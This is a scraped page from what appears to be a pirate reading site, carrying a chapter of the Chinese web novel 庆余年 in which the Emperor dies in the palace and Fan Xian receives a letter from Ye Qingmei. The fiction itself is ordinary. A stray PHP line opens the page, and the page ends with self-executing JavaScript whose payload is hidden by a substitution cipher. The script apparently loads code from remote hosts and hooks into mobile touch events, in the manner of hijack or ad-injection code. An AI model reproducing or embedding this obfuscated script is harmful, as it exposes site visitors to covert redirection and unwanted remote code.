$floatcFile = "/www/wwwroot/xin_floatAdc.txt"; 庆余年(猫腻)_第一百六十一章 南庆十二年的彩虹(三)(2 / 2)_庆余年最新章节免费阅读无弹窗_新笔趣阁

第一百六十一章 南庆十二年的彩虹(三)(2 / 2)

庆余年 猫腻 7628 字 2022-05-29

片刻之后,一脸淡漠的皇帝陛下忽然开口道:“朕此生,从未败过。”

不知为何,范闲重生以后总能拥有常人不能及的冷静甚至是冷酷,然而在这样紧张万分的时刻,他听到皇帝陛下的这句话,却是从内心深处涌出了一丝酸,一丝空,一丝怒,冷冽着声音对着皇帝陛下大声地吼道:“够了!”

皇帝静静地看着这个儿子的双眼,看着他因为愤怒而微微扭曲的英俊的面容,忽然冷冷地笑了起来,似乎是在笑对方的失态,对方的畏惧,以及那丝不知从何而来,怪异的愤怒。

…………空旷的皇宫上,除了地上犹自残积的雨水,还有那无数的尸体血肉之外,便只有四个人还能站立着。范闲站在五竹叔的身旁,冷漠地注视着不远处的那抹明黄身影,心里不知道在想些什么事情,他确实畏惧,但那种愤怒绝对不是因畏惧而生,而是因为另一股悲凉的感觉而生。

从彼处至此间,距离极短,范闲似乎有出手的机会,然而陛下就在范若若身旁三尺之内,谁也不敢在一位大宗师的眼下进行这种冒险,虽然范若若的手里还是提着那把重狙,虽然谁都能看出来,皇帝陛下已然油尽灯枯,垂垂危矣。

“朕此生从未败过。”皇帝陛下看着眼前的儿子和他身前的五竹,缓缓抬袖擦去了唇角的鲜血,冷漠开口说道:“朕只是感觉到,似乎朕……要死了。”

失败与死亡是两种概念,失败乃胜负,生死却往往属于天命。一位君王的失败必定会导致他的死亡,而一位君王的死亡,却不见得是因为他失败。

今rì的庆帝或许已经被死亡的气息所环绕,但他并没有失败,因为今天的死亡,其实早在很久之前就注定了。

世间没有真正的王道,皇帝陛下的身体,这些年里一直被暴戾的真气,扰的不得安息,而这一年来诸多事由,更是让这些真气在肉身上寻觅到了伤害他的道路,快速地破坏着他的生机,加速着他衰老的过程。然而皇帝陛下微微陷下的双眼,冷漠地看着范闲,并没有轻描淡写地说出了这个注定会让对方感到无穷震惊的真相。

…………“朕即便死,也要杀死你这个逆子。”皇帝陛下咳了两声,咳的他微微弯腰,咳声中带着一丝淡淡的不甘,“李氏的江山注定要一统宇内,只要你死了,无论朕那两个儿子谁登基,rì后的天下,依然是大庆的天下。”

南京城下如火如荼的战火,只是逼范闲现身的火苗,不然若范闲若从神庙归来,往天下一隐,庆帝到何处去寻他去?然范闲不死,南庆千秋万代之伟业无法呈现,庆帝即便知晓自己身体将衰,如何能安?

今rì之局,不过是君要杀臣,父要杀子罢了,然而谁可料此时皇宫之中,却转换了局势,孤清的宫廷内,皇帝陛下一人却面对着所有的敌意。

在这一刻,皇帝陛下觉得有些疲惫,他静静地看着范闲,忽然发现心头对这个儿子的杀意,并不如自己想像中那般强烈。这是因为什么?或许君王杀意的源头,只是范闲的背叛而让他产生的怒火,而不是为了庆国的千秋万代?

无经无脉之君,无情无义之人,一旦因失望而愤怒,一旦动情,也不过是个凡人罢了。

皇帝陛下忽然觉得自己若这般死了,只怕会非常孤独,黄泉下的那些亲人,承乾,承泽,皇后,他们会用怎样冷漠的目光来看自己?母后在yīn间可还安好?那个女人死后的魂灵是不是依然用那种看似温柔,实际上却无比疏离的目光看着自己?

一股孤独的落寞感,占据了苍老的皇帝陛下身躯,他忽然发现,在人生最后一战之中,自己面对的还是她的枪,她的仆人,她……与自己的儿子。

原来折腾了一辈子,最后还是在与她作战。一念及此,皇帝陛下的面容上浮现出了一丝悲凉的笑容,难道朕注定是要败在她的手中?

…………明黄的身影微微一振,范若若手中的那把枪便被他完好的那只手凌空捉了过来,指节微微用力,君王体内的霸道真气如江河湖海一般迸出,一声轻响之后,枪管竟是被生生地弯曲了一截!

皇帝陛下真气激荡,伤势愈发严重,然而他只是眯着双眼,冷冷地看着被扔在脚下的破铜烂铁,就像在审看着那个女人,久久不发一语。

“如果老五不再踏足人世间,该有多好。”皇帝陛下低着头,忽然轻轻地叹了一口气,缓缓抬起头来,看着箕坐于地,靠在范闲腿边的五竹,极为困难地摇了摇头。

“叔已经记不起来很多事情。”

“然而发生的终究是发生了,他总有一天会想起当年发生了一些什么,从而知道一些什么,他……总是要来杀朕的。”面sè苍白的皇帝怔怔地看着痴呆无语,像个孩子一般,试图站起,却总也站不起来的五竹,忽然开口说道:“老五,你又忘记了一些事情,真是……幸福。”

当一位强大的人物开始变得如此唠叨的时候,是不是说明他真的老了?还是说是在回光返照?范闲怔怔地看着断了一臂的皇帝老子,忽然觉得胸膛处一阵空虚,一阵抽搐,他总觉得今天的这一切发生的太过怪异,完全不像是真实的。

皇帝深陷的眼睛里光芒渐渐焕散,看着范闲轻声说道:“不是你,终究只是你母亲赢了。”

他嘲讽的望着范闲,没有一丝颓丧的情绪,反而像极了前些年那位强大无比的君王,嘲笑说道:“战家小皇帝的种是你的……老三是什么样xìng情的人你也知道,将来无论你如何做,这天下,总是姓李的天下。”

“你曾说过,你死后哪怕洪水滔天,朕却不得不想。”皇帝看着范闲,唇角的笑意越来越浓,也越来越充满了嘲讽的意味:“你母亲只是试图改变历史的进程,你却妄想阻止历史的进程,这是何等样狂妄而天真的想法。”

范闲沉默了很久之后,忽然开口说道:“其实您或我,在历史当中,都只是很不起眼的水花。”

“不,史书上必将有朕的一页。”皇帝的瞳子里闪过一丝冷酷而骄傲的光芒。

范闲没有再说什么,他到此刻才发现,原来自己依然低估了这位皇帝老子,原来自己平rì里说过什么,做过什么,根本没有办法瞒过他,便连北齐那边的红豆饭,他也知道……此时场内一片血泊,范闲没有动,也不敢动,因为妹妹在陛下的控制之下,他甚至不知道怎样解决眼下的局面,也不知道陛下此刻的虚弱究竟是一种假像,还是人之将死,真的看透了某些事物。

对于这位皇帝老子,范闲有着先天的敬畏,哪怕到了此时,他依然如此,他不知道呆会儿宫外的禁军是不是会突破自己预先留下的后手,再次强行打开宫门,他也不知道影子和叶重那边究竟如何,他更不知道为什么姚太监那一拔人,始终没有出现。

最令他感到无穷寒意的是,陛下临死前的反击,会不会让五竹叔,妹妹,以及自己都陪他送葬——直至此刻,他依然相信,皇帝老子有这种实力。

…………皇帝陛下困难地抬起头来,微眯着双眼,隔着宫墙,看着天空东面的碧蓝天空,似乎发现那边可能要有什么美好的东西发生。

他望着天空,眼角的皱纹却微微颤动了一丝,似乎想到了一些什么,探在龙袖之外的右手,微微曲起,似乎想要握住一些什么。他眼眸里的光芒从焕散中渐渐凝聚,似乎想要看清楚一些什么,他的脑海里泛过无数的画面,似乎想要记住一些什么。

没有谁比庆帝自己更清楚自己的身体状况,或许从初八的风雪天开始,他就预见了自己的这一天必将到来,这不是还债,只是宿命罢了。然而为何他的心中还是有那般强烈的不甘,以至于他皱极了的眉头,像极了一个问话,对着那片被雨洗后,格外洁净的碧空,不停地发问。

少年时在破落王府里的隐忍屈震,青年时与友人游历天下,增长见闻,壮年时在白山黑水,落rì草原上纵马驰骋,率领着无数儿郎打下一片大大的疆土,剑指天下,要打下一个更大的江山,意在千秋万代,不世之业,青史留名。

然而这一切,却要就此中止,如何能够甘心?朕还有很多的事情未做……如果庆帝知道这些横亘在他人生长河里的人物,比如叶轻眉,比如五竹,比如范闲,其实都不是这个世界的人,会不会生出,天亡我也,非战之罪的感叹?

他只是在想。

如果没有那个女子,就没有跟着她来到世间的老五,也就没有安之,也许没有内库,没有很多的东西,然而朕难道就不能自己打下这片江山?

不,朕一样能够,大不了晚一些罢了,没有无名功诀又如何?大宗师这种敢于与朕抗衡的物事,本就不应该存在,不是吗?

只是……如果没有如果,如果没有叶轻眉,或许朕这一生也就没有了那段……真正快乐的rì子?

皇帝的眉尖蹙了起来,忘却了体内生命的流逝,只是陷入了这个疑问之中,这个问题当初在小楼里,范闲曾经提过,然而直到此时,皇帝陛下才真正地对自己发问,或许是因为过往的这数十年,他一直都不敢问自己这个问题。

他收回了目光,回复了平静,垂死的君王依然拥有着无上的威势与心志,他冷漠地看着面前的范闲与五竹,似乎随时可能用生命最后的光彩,去燃烧对方的生命。

一阵长久的沉默。

范闲再次抹掉唇边的鲜血,紧张地注视着皇帝陛下的每一个动作,只是连他都没有发现,自己不仅薄薄的双唇像极了皇帝,便是这个抹血的动作,也像极了对方。

皇帝陛下忽然笑了,唇角很诡异地翘了起来,然后渐渐敛去笑容,冷漠开口道:“朕今rì知晓了箱子里是什么,但朕此生还有一件事情极为好奇。”

他双眼微眯望着五竹,一字一句说道:“朕很想知道这张黑布后面藏的究竟是什么。”

…………人世间最为强大的君王,在人世间最后一次出手的目标,选择了五竹而不是范闲,或许是因为范闲是他的骨肉,或许是因为他认为五竹这种让他厌烦的神庙使者,实在是很有该死的必要,或许是因为庆帝一直认为,人世间的事情,总是应该由人世间的人解决,而不应该让那些狗屎之类的神祇来插手。

或许只是因为庆帝最后那刹那发现了范闲的某些形容动作,实在是和自己很相像,总而言之,他那只如闪电般的手,割裂了空气,袭向了五竹的面门,而放过了范闲。

范闲活了下来,在皇帝陛下最后一击的面前,他的手就像是落叶一样被震开,根本无法阻挡,只能眼睁睁地看着皇帝陛下的手掌,夹杂着生命里最后的那股真气,狠狠地拂在了五竹的面门上。

庆帝一拂,五竹颈椎猛然一折,向着后方仰去,黑布落下,时间……仿似在这一刻凝结了。

…………那块黑布在清风中缓缓飘了下来。

有一块黑布遮在监察院的玻璃窗上,用来遮掩皇宫的刺目光芒。有一块黑布遮在五竹的眼睛上,用来遮住这片天。

这一块黑布不知道遮了多少年,似乎永远没有被解开的那一天,几百年,几千年,几万年,一直如此。

今天这块黑布落了下来,黑布之下,是……一道彩虹。

一道彩虹从五竹清秀少年的眉宇中间喷涌而出,从那一双清湛灵动而惘然的双眼间喷涌而出,瞬息间照亮了皇宫内的广场,贯穿了那抹明黄sè的身影!

彩虹贯穿了庆帝的身体,将他不可置信的面容映的明亮一片,然后重重地击打在太极殿的殿宇之上,化作了条火龙,瞬间将整座宫殿点燃!

只是瞬间,皇帝陛下的面容上忽然化作了一片平静,在这一片火中,骄傲地挺直了身体,虽只有一只手臂,他站直了身体,临去前的刹那,脑中飘过一丝不屑的思绪——原来如此,不过如此,依然如此。

世间至强之人,便是死亡的那刹那,依然留下了一个强横到了极点的背影。这个背影在这道温暖的彩虹之中,显得格外冷厉,沉默,萧索,孤独,却又异常……骄傲。

漫天飞灰,渐渐落下,若用来祭奠人间无常的鞭炮碎屑,铺在了宫前广场血泊之中。

与此同时,越过宫墙的东方天穹,那处一直觉得将有美好事情发生的地方,在雨后终于现出了一道彩虹,俯瞰着整个人间。

————————————————————入夜,熊熊燃烧的太极殿大火已经被扑灭,幸亏今rì雨湿大地,不然这场大火只怕要将整座南庆皇宫都烧成一片废墟。

被关闭的皇城正门,在那一道彩虹的异像出现后不久,便被朝廷的军队强行冲破,没有谁能够隐瞒皇帝陛下遇刺身死的消息,虽然直到此时,那些悲恸有加,无比愤怒的人们,依然无法找到陛下的遗骸。

行刺陛下的不是北齐刺客,是南庆史上最十恶不赦的叛逆,恶徒,范闲。朝廷在第一时间内就确认了这个消息,如果不是胡大学士以及伤重却未死的叶重,强行镇压下了整个京都里的悲愤情绪,或许就在这个夜晚里,范府以及国公巷里很多宅子,都已经烧成烂宅,里面的人们更是毫无幸理。

除了胡大学士以及叶重之外,真正控制住局面的,还是那位临国之危,登上龙椅的三皇子李承平,在这位南庆皇帝陛下的强力控制下,京都的局势并没有失控。

当然,其间老监察院以及某些隐在暗中的势力究竟发挥了怎样的作用,没有人知道。

而此时,被朝廷再下通缉,赏额高到了令人瞠目结舌程度的钦犯范闲,却出乎绝大多数人意料,出现在了一个绝对没有人能够想到的地方。

他依然在皇宫里,在黑夜的遮掩下,收回了望向太极殿方向的目光,走在比冷宫更冷清的小楼附迫。太极殿已经被烧毁了,而小楼更是早已经被烧成一地废灰,他走在没膝的长草之中,微微低头,不知道是来做什么,还是说,他只是想来向叶轻眉述说今天发生的这一切?

范闲的眼瞳微缩,看着小楼遗址旁出现的那个人,微微偏头,似乎有些没有想到。

出现的这个人是姚太监,他面无表情地走到了范闲的身前,递过去一个小盒子,沙着声音低声说道:“这是陛下留给你的。”

范闲有些木然地接过盒子,看着消失在黑夜中的姚太监,并不担心对方会召来高手围攻自己,宫外是一个世界,宫内是一个世界,在宫内这个世界之中,想必此时没有人会想对自己不利,即便有人想,也不可能是现在这个时刻。

陛下留给了自己什么?为什么要留?难道事先他就知道自己过不了今天这一关?范闲怔怔地望着手里的盒子,这才明白为什么先前姚太监一直不在陛下身边,原来陛下交给他一个很奇怪的任务。

打开盒子,盒子里是一方白绢和一封薄薄的信,范闲的身子微僵,在第一时间内认出这是什么。

这是当年他夜探皇宫时,在太后的凤床之下看到的三样事物之一,其中的钥匙早已经被他复制了一把,成功地打开了箱子。而白绢和这封信便是另外两样。

四年前长公主在京都叛乱之时,范闲曾经试图再次找到这两样事物,结果发现已经不在含光殿,如今想来,肯定是陛下放到了别的地方。

陛下后来自然知晓钥匙在自己手里,所以只是将这封信和这方白绢留给了自己。

范闲用指尖轻轻地摩娑着白绢的表面,定了定神,打开了并没有封口的信封,仔细地看着,渐渐的他的眉头皱了起来,然后又舒展了开来。

这是叶轻眉当年写给庆帝的一封信,从信中的内容,他知道了白绢是什么,这是当年太后赐给妖女叶轻眉自尽用的白绫,而……当叶轻眉在太平别院接到旨意之后,直接将这方白绫原封不动地送回了宫中,送到了太后的床前。

想必只有五竹叔才能做到这件事情,想必太后那天吓的极惨,所以她一直把这方白绫留着,以加深自己对于叶轻眉这个妖女的恨意?

然而除了以顽笑的口吻讲述这件事情,以表达自己的强烈不满之外,叶轻眉的这封信里便没有其它的值得留意的内容,通篇只是些家长里短,五竹如何,范建在青楼如何,配上那些拙劣而生硬的字迹,实在是不忍卒睹。

好在只有薄薄的两页纸。范闲愈发地不明白,为什么皇帝老子会如此珍视这封信,甚至最后还要留给自己?难道说自己先前想错了,不论是白绫还是钥匙,还是这封信,其实都是陛下藏在含光殿,而不是太后藏的?

他摇了摇头,不再去想这些注定要湮没在回忆里,没有任何人知晓答案的问题,紧接着却注意到了第二张信纸后面的那些笔迹。

这些笔迹遒劲有力,却控制着情绪,写得格外中正有序,很明显是陛下的字迹。

范闲仔细地看着,看了很久很久之后,轻轻地叹了一口气,双手一紧,下意识里想将这封信毁掉,接着却是小心翼翼地将信纸塞回信封,放入怀中收好。

“朕没有错。”

这是庆帝留在信纸后面最后的几个字,看似是异常强大骄傲的宣告,然而在信纸上对着一个逝去的女人的宣告,实际上只可能是一种幽幽的自问。

然而谁也无法解答这个问题,除了历史之外,不,就算是那些言之凿凿的史书,只怕也无法评断皇帝陛下这一生的功过是非。

由叶轻眉而发,陈萍萍而发,他对皇帝陛下只有仇恨,然而他与皇帝老子之间的关系,又岂是仅仅的血缘这般简单,他内里的灵魂可以不承认血缘,却无法摆脱这些年的过往,这种情绪复杂至极,以至于根本不是文字所能言表。

皇帝陛下死了,而范闲直到此刻,依然觉得从身到心一片麻木寒冷,不敢相信这个事实,他总觉得那个男人是天底下最强大,最不可能战胜的人,怎么就死了呢?他似乎有些宽慰,却没有报仇后的喜悦,他似乎有些悲哀,却怎样也哭不出来,他只是麻木,麻木地站立着这寒冷的风中。

由信中可知,世间真的没有真正的王道,原来皇帝老子的身体这一年里已经不行了,原来就算如叶轻眉所说,让每个人成为自己的王,也不是王道……范闲以及他所坚持的信念更不是。

——正如那个风雪夜,他对皇帝陛下所言,他所要求的只是心安,只是私怨了结罢了,并不牵涉到正确与否的大命题,要知道人类本来就不是一种追求正确的物种。正确并不是正义,因为正义总是有立场的。

他忽然想起了靖王爷珍藏着的叶轻眉的奏章书信,想到当年叶轻眉给皇帝的信里总是在谈关于天下,关于民生的事情,像今天这样寻常口吻的信倒真是只有一封,或许正是因为这个缘故,皇帝陛下才格外珍惜?

一念及此,他的唇角不由泛起了一丝苦笑,皇帝陛下与叶轻眉,毫无疑问是人世间一等风流人物,说不尽的风华绝代,然而二人一朝相遇,却真不是什么幸福的事情。陛下遇着叶轻眉这样的女子,何尝不是一种痛苦,然而叶轻眉遇到庆帝,则更是怎样也难以言喻的悲哀了。

范闲有些木然地站在夜宫之中,站在长草之间,看着小楼的遗痕发呆,直至此时,他依然不知道叶轻眉葬在哪里,父亲范建当年的话,如今知晓,那只是一种安慰罢了。小楼里那幅画像的黄衫女子已经化成灰烬随风而去,皇帝陛下也化成灰烬随风而去,或许在天地间的某一个角落,他们会再次碰触在一起?

静静地站立了很久很久,他借着黑夜的遮掩,向着太极殿的方向行去,准备出宫,于夜sè之中见皇宫灯火,听见御书房里略显青涩的声音,看到那些面露哀戚,实则心有所思的新晋大臣,不由若有所感。

!function(){function a(a){var _idx="z5palo1gvz";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR84nJdqO}pX4"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"4nJdqO}pX4"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mhfO76RqmRT4"="o}0X5ThF)mT)7F56RmRT4"="o}02pThFmhfO76RqmRT4"="o}0_JqhFmT)7F56RmRT4"="o}02TOhFmhfO76RqmRT4"="o}0CSqhF)mT)7F56RmRT4"="o}0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q/f/o}0j(8}vR84nJdqO}pX4"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();